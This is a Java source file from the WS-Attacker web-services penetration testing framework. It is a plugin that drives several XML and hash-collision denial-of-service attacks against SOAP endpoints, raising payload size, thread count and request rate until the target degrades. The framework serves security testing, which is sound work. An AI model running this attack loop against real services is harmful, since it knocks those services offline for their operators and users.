/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2013 Christian Altmeier * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.intelligentdos; import com.eviware.soapui.impl.WsdlInterfaceFactory; import com.eviware.soapui.impl.wsdl.WsdlInterface; import com.eviware.soapui.impl.wsdl.WsdlOperation; import com.eviware.soapui.impl.wsdl.WsdlProject; import com.eviware.soapui.impl.wsdl.WsdlRequest; import com.eviware.soapui.impl.wsdl.WsdlSubmit; import com.eviware.soapui.impl.wsdl.WsdlSubmitContext; import com.eviware.soapui.impl.wsdl.submit.transports.http.WsdlResponse; import com.eviware.soapui.model.iface.Request.SubmitException; import com.eviware.soapui.model.iface.Response; import com.eviware.soapui.support.SoapUIException; import java.io.File; import java.io.IOException; import java.io.Writer; import java.nio.charset.Charset; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import org.apache.commons.io.output.FileWriterWithEncoding; import org.apache.commons.lang3.StringUtils; import org.apache.xmlbeans.XmlException; import wsattacker.library.intelligentdos.helper.IterateModel; import wsattacker.library.intelligentdos.helper.IterateModel.IncreaseIncrementStrategie; import wsattacker.library.intelligentdos.helper.IterateModel.IterateStrategie; import wsattacker.main.composition.plugin.AbstractPlugin; import wsattacker.main.composition.plugin.option.AbstractOption; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.composition.testsuite.RequestResponsePair; import wsattacker.main.plugin.PluginState; import wsattacker.main.plugin.option.OptionSimpleBoolean; import wsattacker.main.testsuite.CurrentRequest; import wsattacker.plugin.dos.CoerciveParsing; import wsattacker.plugin.dos.HashCollisionDJBX31A; import wsattacker.plugin.dos.HashCollisionDJBX33A; import wsattacker.plugin.dos.HashCollisionDJBX33X; import wsattacker.plugin.dos.XmlAttributeCount; import wsattacker.plugin.dos.XmlElementCount; import wsattacker.plugin.dos.XmlEntityExpansion; import wsattacker.plugin.dos.XmlOverlongNames; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.attackThreads.PerformAttackThread; import wsattacker.plugin.dos.dosExtension.attackThreads.RepeatAttackRequestThread; import wsattacker.plugin.dos.dosExtension.logEntry.LogEntryRequest; import wsattacker.plugin.dos.dosExtension.mvc.model.AttackModel; /** * @author Christian Altmeier */ public class UnintelligentDoS extends AbstractPlugin { /** * */ private static final long serialVersionUID = 1L; private static final String NAME = "Intelligent Denial-of-Service"; private static final String DESCRIPTION = "Short description of Intelligent Denial-of-Service"; private static final String AUTHOR = "Christian Altmeier"; private static final String VERSION = "1.0 / 2013-12-31"; private static final String[] CATEGORY = new String[] { "Denial of Service" }; private static final int NUMBER_OF_SUCCESSES_NEEDED = 7; private boolean continueOnNumberRequests = false; private boolean continueOnNumberThreads = false; private String testPrefix = ""; int count = 0; @Override public void initializePlugin() { setName( NAME ); setDescription( DESCRIPTION ); setAuthor( AUTHOR ); setVersion( VERSION ); setCategory( CATEGORY ); setState( PluginState.Ready ); } @Override public void clean() { setState( PluginState.Ready ); } @Override public boolean wasSuccessful() { // successfull only server is vulnerable for one method // note: one point = possible server misconfiguration return getCurrentPoints() > 1; } @Override protected void attackImplementationHook( RequestResponsePair original ) { // CoerciveParsing coerciveParsingAttack( original ); // XmlAttributeCount xmlAttributeCountAttack( original ); // XmlElementCount xmlElementCountAttack( original ); // XmlEntityExpansion xmlEntityExpansionAttack( original ); // HashCollisionDJBX31A hashCollisionDJBX31AAttack( original ); // HashCollisionDJBX33A hashCollisionDJBX33AAttack( original ); // HashCollisionDJBX33X hashCollisionDJBX33XAttack( original ); // XmlOverlongNames xmlOverlongNamesAttack( original ); } private void coerciveParsingAttack( RequestResponsePair original ) { CoerciveParsing coerciveParsing = new CoerciveParsing(); initializePlugin( original, coerciveParsing ); // start 1.500 // max 147.483.647 IterateModel iterModel = IterateModel.custom().startAt( 512 ).stopAt( 16384 ).setIncrement( 2 ).setIterateStrategie( IterateStrategie.MUL ).setIncreaseIncrementStrategie( IncreaseIncrementStrategie.NO ).build(); startIteration( iterModel, coerciveParsing, coerciveParsing.getOptionNumberTags() ); } private void hashCollisionDJBX31AAttack( RequestResponsePair original ) { HashCollisionDJBX31A hashCollisionDJBX31A = new HashCollisionDJBX31A(); initializePlugin( original, hashCollisionDJBX31A ); // start 10.000 // max 99.999.999 IterateModel iterModel = IterateModel.custom().startAt( 1250 ).stopAt( 180625 ).setIncrement( 1250 ).build(); startIteration( iterModel, hashCollisionDJBX31A, hashCollisionDJBX31A.getOptionNumberAttributes() ); } private void hashCollisionDJBX33AAttack( RequestResponsePair original ) { HashCollisionDJBX33A hashCollisionDJBX33A = new HashCollisionDJBX33A(); initializePlugin( original, hashCollisionDJBX33A ); // start 10.000 // max 99.999.999 IterateModel iterModel = IterateModel.custom().startAt( 1250 ).stopAt( 180625 ).setIncrement( 1250 ).build(); startIteration( iterModel, hashCollisionDJBX33A, hashCollisionDJBX33A.getOptionNumberAttributes() ); } private void hashCollisionDJBX33XAttack( RequestResponsePair original ) { HashCollisionDJBX33X hashCollisionDJBX33X = new HashCollisionDJBX33X(); initializePlugin( original, hashCollisionDJBX33X ); // start 10.000 // max 99.999.999 IterateModel iterModel = IterateModel.custom().startAt( 1250 ).stopAt( 21250 ).setIncrement( 1250 ).build(); startIteration( iterModel, hashCollisionDJBX33X, hashCollisionDJBX33X.getOptionNumberAttributes() ); } private void xmlAttributeCountAttack( RequestResponsePair original ) { XmlAttributeCount xmlAttributeCount = new XmlAttributeCount(); initializePlugin( original, xmlAttributeCount ); // start 25.000 // max 2.000.000 IterateModel iterModel = IterateModel.custom().startAt( 3750 ).stopAt( 1431250 ).setIncrement( 1250 ).build(); startIteration( iterModel, xmlAttributeCount, xmlAttributeCount.getOptionNumberAttributes() ); } private void xmlElementCountAttack( RequestResponsePair original ) { XmlElementCount xmlElementCount = new XmlElementCount(); initializePlugin( original, xmlElementCount ); // start 25.000 // max 2.000.000 // 1431250 // CXF max 240000 IterateModel iterModel = IterateModel.custom().startAt( 12500 ).stopAt( 240000 ).setIncrement( 5000 ).build(); startIteration( iterModel, xmlElementCount, xmlElementCount.getOptionNumberOfElements() ); } private void xmlEntityExpansionAttack( RequestResponsePair original ) { XmlEntityExpansion xmlEntityExpansion = new XmlEntityExpansion(); initializePlugin( original, xmlEntityExpansion ); // start 20 // max 200 IterateModel iterModel = IterateModel.custom().startAt( 5 ).stopAt( 200 ).setIncrement( 5 ).build(); AbstractOptionInteger optionNumberOfEntities = xmlEntityExpansion.getOptionNumberOfEntities(); startIteration( iterModel, xmlEntityExpansion, optionNumberOfEntities ); } private void xmlOverlongNamesAttack( RequestResponsePair original ) { XmlOverlongNames xmlOverlongNames = new XmlOverlongNames(); initializePlugin( original, xmlOverlongNames ); AbstractOptionInteger[] options = { xmlOverlongNames.getOptionLengthOfElementName(), xmlOverlongNames.getOptionLengthOfAttributeName(), xmlOverlongNames.getOptionLengthOfAttributeValue() }; OptionSimpleBoolean[] uses = { xmlOverlongNames.getUseLengthOfElementName(), xmlOverlongNames.getUseLengthOfAttributeName(), xmlOverlongNames.getUseLengthOfAttributeValue() }; for ( OptionSimpleBoolean optionSimpleBoolean : uses ) { optionSimpleBoolean.setOn( false ); } String[] text = new String[options.length]; for ( int i = 0; i < options.length; i++ ) { text[i] = options[i].getName(); } String[] abc = { "en", "an", "av" }; // start 100.000 // max 90.000.000 for ( int i = 0; i < options.length; i++ ) { testPrefix = abc[i]; uses[i].setOn( true ); // activate IterateModel iterModel = IterateModel.custom().startAt( 75000 ).stopAt( 6900000 ).setIncrement( 75000 ).build(); startIteration( iterModel, xmlOverlongNames, options[i] ); uses[i].setOn( false ); // deactivate } for ( OptionSimpleBoolean optionSimpleBoolean : uses ) { optionSimpleBoolean.setOn( true ); } IterateModel iterModel = IterateModel.custom().startAt( 75000 ).stopAt( 5775000 ).setIncrement( 75000 ).build(); testPrefix = StringUtils.join( abc, "_" ); startIteration( iterModel, xmlOverlongNames, options ); } private void startIteration( IterateModel iterModel, AbstractDosPlugin dosPlugin, AbstractOptionInteger... abstractOptionInteger ) { boolean successful = false; int unsuccessfulCount = 0; for ( int value = iterModel.getStartAt(); !successful && value <= iterModel.getStopAt(); value = iterModel.increment( value ) ) { for ( AbstractOptionInteger aoi : abstractOptionInteger ) { aoi.setValue( value ); } successful = perform( dosPlugin, abstractOptionInteger ); if ( !successful && ++unsuccessfulCount % 4 == 0 ) { iterModel.increaseIncrement(); } serverRecoveryTime(); } } private void initializePlugin( RequestResponsePair original, AbstractDosPlugin dosPlugin ) { dosPlugin.initializePlugin(); // save OriginalRequestResponsePair pointer dosPlugin.setOriginalRequestResponsePair( original ); // save Original Header Fields for all subsequent requests dosPlugin.createOriginalRequestHeaderFields(); // dosPlugin.getOptionTextAreaSoapMessage().insertPayloadPlaceholder( // original.getWsdlRequest().getRequestContent()); dosPlugin.getOptionTextAreaSoapMessage().currentRequestContentChanged( original.getWsdlRequest().getRequestContent(), "" ); } private boolean perform( AbstractDosPlugin dosPlugin, AbstractOption... attackSpecificParam ) { int maxNumberRequests = 32; int maxNumberThreads = 8; int successfulCounter = 0; // check if attack is feasable with given original SOAP message if ( dosPlugin.attackPrecheck() ) { // create the tampered and untampered request dosPlugin.createTamperedRequest(); dosPlugin.createUntamperedRequest(); // create Request Padding dosPlugin.createRequestPadding(); List<LogEntryRequest> untampered = performUntampered( dosPlugin, attackSpecificParam ); int unsuccessfulRequestCounter = 0; for ( int numberRequests = 4; numberRequests <= maxNumberRequests; numberRequests += 4 ) { if ( continueOnNumberRequests ) { numberRequests = 32; continueOnNumberRequests = false; } dosPlugin.getOptionNumberRequests().setValue( numberRequests ); int unsuccessfulThreadCounter = 0; for ( int numberThreads = 1; numberThreads <= maxNumberThreads; numberThreads++ ) { if ( continueOnNumberThreads ) { numberThreads = 8; continueOnNumberThreads = false; } dosPlugin.getOptionNumberThreads().setValue( numberThreads ); // 2000 -> 1000 int millisBetweenRequests = getMillisBetweenRequestsStart( unsuccessfulThreadCounter ); for ( ; millisBetweenRequests >= 250; millisBetweenRequests -= 250 ) { dosPlugin.getOptionSecondsBetweenRequests().setValue( millisBetweenRequests ); startAttack( dosPlugin, untampered, attackSpecificParam ); count++; if ( wasSuccessful() ) { unsuccessfulRequestCounter = 0; unsuccessfulThreadCounter = 0; if ( ++successfulCounter > NUMBER_OF_SUCCESSES_NEEDED ) { return true; } } else { ++unsuccessfulRequestCounter; ++unsuccessfulThreadCounter; successfulCounter = 0; } } if ( unsuccessfulThreadCounter >= 7 ) { numberThreads += 2; } } if ( unsuccessfulRequestCounter >= 20 ) { numberRequests += 4; } } } else { setCurrentPoints( 0 ); important( "Attack not possible - Structure of SOAP Message is not suitable!" ); setState( PluginState.Failed ); } return false; } private int getMillisBetweenRequestsStart( int unsuccessfulCounter ) { if ( unsuccessfulCounter >= 0 && unsuccessfulCounter < 4 ) { return 1000; } else if ( unsuccessfulCounter >= 4 && unsuccessfulCounter < 7 ) { return 750; } else if ( unsuccessfulCounter >= 7 && unsuccessfulCounter < 9 ) { return 500; } else { return 250; } } private void startAttack( AbstractDosPlugin dosPlugin, List<LogEntryRequest> untampered, AbstractOption... attackSpecificParam ) { AbstractOption[] array; List<AbstractOption> list = new ArrayList<AbstractOption>( Arrays.asList( attackSpecificParam ) ); list.add( dosPlugin.getOptionNumberRequests() ); list.add( dosPlugin.getOptionNumberThreads() ); list.add( dosPlugin.getOptionSecondsBetweenRequests() ); array = list.toArray( new AbstractOption[list.size()] ); // attack specific // number request // number threads // millis between requests AttackModel model = new AttackModel( dosPlugin ); try { executeAttackModel( model, false ); // discharge untampered logs and update with the reference logs model.getLogListUntamperedRequests().clear(); model.getLogListUntamperedRequests().addAll( untampered ); dosPlugin.setAttackModel( model ); setCurrentPoints( model.getWsAttackerPoints() ); if ( wasSuccessful() ) { printOutSuccessful( array ); } } catch ( InterruptedException e ) { setCurrentPoints( 0 ); } Writer writer = createWriter( dosPlugin, array ); logWork( model, writer ); } private void printOutSuccessful( AbstractOption[] array ) { StringBuilder builder = new StringBuilder(); for ( AbstractOption option : array ) { if ( builder.length() != 0 ) { builder.append( ", " ); } builder.append( option.getValueAsString() ); } } private List<LogEntryRequest> performUntampered( AbstractDosPlugin dosPlugin, AbstractOption... attackSpecificParam ) { // to get Untampered dosPlugin.getOptionNumberRequests().setValue( 8 ); dosPlugin.getOptionNumberThreads().setValue( 4 ); dosPlugin.getOptionSecondsBetweenRequests().setValue( 750 ); List<LogEntryRequest> untampered = new ArrayList<LogEntryRequest>(); try { // perform DOS Attack AttackModel untamperedModel = new AttackModel( dosPlugin ); List<Thread> threads = new ArrayList<Thread>( untamperedModel.getNumberThreads() ); for ( int threadNumber = 0; threadNumber < untamperedModel.getNumberThreads(); threadNumber++ ) { // New Repeat-Request N-Times Object Thread thread = new RepeatAttackRequestThread( untamperedModel, threadNumber, "untampered" ); threads.add( thread ); // Delay start of next thread for a couple of ms to prevent // sending at same time Thread.sleep( 5 ); } for ( Thread thread : threads ) { thread.join(); } untampered = untamperedModel.getLogListUntamperedRequests(); Writer writer = createWriter( "untampered", dosPlugin, attackSpecificParam ); logWork( untamperedModel, writer ); } catch ( InterruptedException e1 ) { e1.printStackTrace(); } return untampered; } public AttackModel executeAttackModel( AttackModel model, boolean sendUntampered ) throws InterruptedException { // perform DOS Attack PerformAttackThread performAttackThread = new PerformAttackThread( model ); performAttackThread.setSendUntampered( sendUntampered ); performAttackThread.start(); performAttackThread.join(); return model; } private Writer createWriter( AbstractDosPlugin dosPlugin, AbstractOption... attackSpecificParam ) { return createWriter( "", dosPlugin, attackSpecificParam ); } private Writer createWriter( String prefix, AbstractDosPlugin dosPlugin, AbstractOption... attackSpecificParam ) { Writer writer = null; try { StringBuilder builder = new StringBuilder(); if ( StringUtils.isNotEmpty( testPrefix ) ) { builder.append( testPrefix ).append( "_" ); } if ( StringUtils.isNotEmpty( prefix ) ) { builder.append( prefix ).append( "_" ); } for ( AbstractOption option : attackSpecificParam ) { if ( builder.length() != 0 ) { builder.append( "_" ); } builder.append( option.getValueAsString() ); } String fileName = builder.toString(); String dir = System.getProperty( "user.home" ) + File.separator + "Documents" + File.separator + "wsa-" + dosPlugin.getClass().getName(); File p = new File( dir ); if ( !p.exists() && !p.mkdir() ) { throw new IOException( "could not create folder" ); } File file = new File( dir, fileName ); writer = new FileWriterWithEncoding( file, Charset.defaultCharset() ); } catch ( IOException e1 ) { e1.printStackTrace(); } return writer; } private void logWork( AttackModel attackModel, Writer writer ) { try { if ( writer != null ) { for ( LogEntryRequest entryRequest : attackModel.getLogList() ) { writer.write( entryRequest.getType() + ", " + entryRequest.getTsSend() + ", " + entryRequest.getTsReceived() + ", " + entryRequest.getDuration() + "\n" ); } writer.close(); } } catch ( IOException e ) { e.printStackTrace(); } } private void serverRecoveryTime() { try { // sleep 30 seconds before switch to the next number of tags Thread.sleep( 30 * 1000 ); } catch ( InterruptedException e ) { e.printStackTrace(); } } public static void main( String[] args ) throws SoapUIException, XmlException, IOException, SubmitException { WsdlRequest wsdlRequest = createWsdlRequest(); // submit the request WsdlSubmit<WsdlRequest> submit = wsdlRequest.submit( new WsdlSubmitContext( wsdlRequest ), false ); // wait for the response Response response = submit.getResponse(); // print the response // String content = response.getContentAsString(); // System.out.println(content); CurrentRequest original = new CurrentRequest(); original.setWsdlRequest( wsdlRequest ); original.setWsdlResponse( (WsdlResponse) response ); // CurrentRequest original = new CurrentRequest(); UnintelligentDoS doS = new UnintelligentDoS(); doS.attackImplementationHook( original ); System.exit( 0 ); } private static WsdlRequest createWsdlRequest() throws XmlException, IOException, SoapUIException { // create new project WsdlProject project = new WsdlProject(); String host = "pcy1095502";// gegenüber String port = "8080"; // String url = // "http://" + host + ":" + port + "/Axis2WS/services/Converter?wsdl"; // String url = "http://" + host + ":" + port + // "/Axis2WS/services/Converter?wsdl"; // String url = "http://" + host + ":" + port + // "/AxisWS/wsdl/Converter.wsdl"; String url = "http://" + host + ":" + port + "/CXFWS/services/ConverterPort?wsdl"; // ASP2 // String url = // "http://192.168.65.135/TemperatureWebService/Convert.asmx?WSDL"; WsdlInterfaceFactory.importWsdl( project, url, false ); // Soap11 or Soap 12 WsdlInterface service = (WsdlInterface) project.getInterfaceAt( 0 ); // ASP.NET // WsdlOperation wsdlOperation = service.getOperationByName("Reverser"); WsdlOperation wsdlOperation = service.getOperationByName( "reverser" ); // create a new empty request for that operation WsdlRequest wsdlRequest = wsdlOperation.addNewRequest( "Basic Request" ); String requestContent = wsdlOperation.createRequest( true ); requestContent = requestContent.replace( ">?</", ">Lorem ipsum dolor sit amet</" ); wsdlRequest.setRequestContent( requestContent ); return wsdlRequest; } }